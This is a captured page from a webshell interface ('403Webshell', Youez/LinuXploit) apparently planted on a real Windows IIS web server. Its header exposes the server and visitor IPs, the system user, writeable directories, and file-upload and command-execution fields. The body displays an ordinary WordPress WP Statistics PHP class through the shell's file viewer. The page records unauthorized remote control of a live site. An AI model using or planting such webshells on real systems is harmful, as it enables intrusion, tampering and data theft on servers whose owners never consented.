403Webshell
Server IP : 195.130.67.5  /  Your IP : 216.73.216.74
Web Server : Microsoft-IIS/10.0
System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586
User : IUSR ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/inetpub/wwwroot/prosvasi/wp-content/plugins/wp-statistics/src/Abstracts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/inetpub/wwwroot/prosvasi/wp-content/plugins/wp-statistics/src/Abstracts/BaseRestAPI.php
<?php

namespace WP_Statistics\Abstracts;

if (!defined('ABSPATH')) exit; // Exit if accessed directly

use WP_REST_Request;
use WP_REST_Server;
use WP_REST_Response;
use WP_Error;
use Exception;

/**
 * Abstract base class for WP Statistics REST API endpoints.
 *
 * Provides reusable logic for route registration, request validation,
 * and signature checking. Subclasses must define the endpoint slug,
 * request arguments, and handler logic.
 */
abstract class BaseRestAPI
{
    /**
     * REST API namespace used for all WP Statistics endpoints.
     *
     * @var string
     */
    protected $namespace = 'wp-statistics/v2';

    /**
     * Endpoint slug to be defined by subclass (e.g., 'hit', 'online').
     *
     * @var string
     */
    protected $endpoint;

    /**
     * HTTP method to register the route with.
     *
     * @var string
     */
    protected $method = WP_REST_Server::CREATABLE;

    /**
     * BaseRestAPI constructor.
     *
     * Initializes database access, loads options, and hooks route registration.
     */
    public function __construct()
    {
        add_action('rest_api_init', [$this, 'registerRoutes']);
    }

    /**
     * Register the REST route with WordPress.
     *
     * Subclasses must set $endpoint before this runs.
     *
     * @return void
     * @see https://developer.wordpress.org/reference/functions/register_rest_route/
     */
    public function registerRoutes()
    {
        if (!$this->endpoint) {
            return;
        }

        register_rest_route($this->namespace, '/' . $this->endpoint, [
            [
                'methods'             => $this->method,
                'callback'            => [$this, 'handle'],
                'args'                => $this->getArgs(),
                'permission_callback' => [$this, 'permissionCallback'],
            ],
        ]);
    }

    /**
     * Permission callback for the REST API endpoint.
     *
     * @param WP_REST_Request $request The REST API request object.
     * @return true|WP_Error Returns true if the request is authorized, or WP_Error if not.
     */
    public function permissionCallback(WP_REST_Request $request)
    {
        return true;
    }

    /**
     * Define expected request parameters for this endpoint.
     *
     * Should be overridden by child classes to validate input.
     *
     * @return array List of REST parameter definitions.
     * @see https://developer.wordpress.org/rest-api/extending-the-rest-api/#arguments
     */
    protected function getArgs()
    {
        return [];
    }

    /**
     * Get the REST API endpoint slug.
     *
     * @return string
     */
    public function getEndpoint()
    {
        return $this->endpoint;
    }

    /**
     * Handle the REST API request.
     *
     * Subclasses must implement this to provide the actual
     * endpoint behavior.
     *
     * @param WP_REST_Request $request The incoming REST request.
     *
     * @return WP_REST_Response
     * @throws Exception
     */
    abstract public function handle(WP_REST_Request $request);
}

Youez - 2016 - github.com/yon3zu
LinuXploit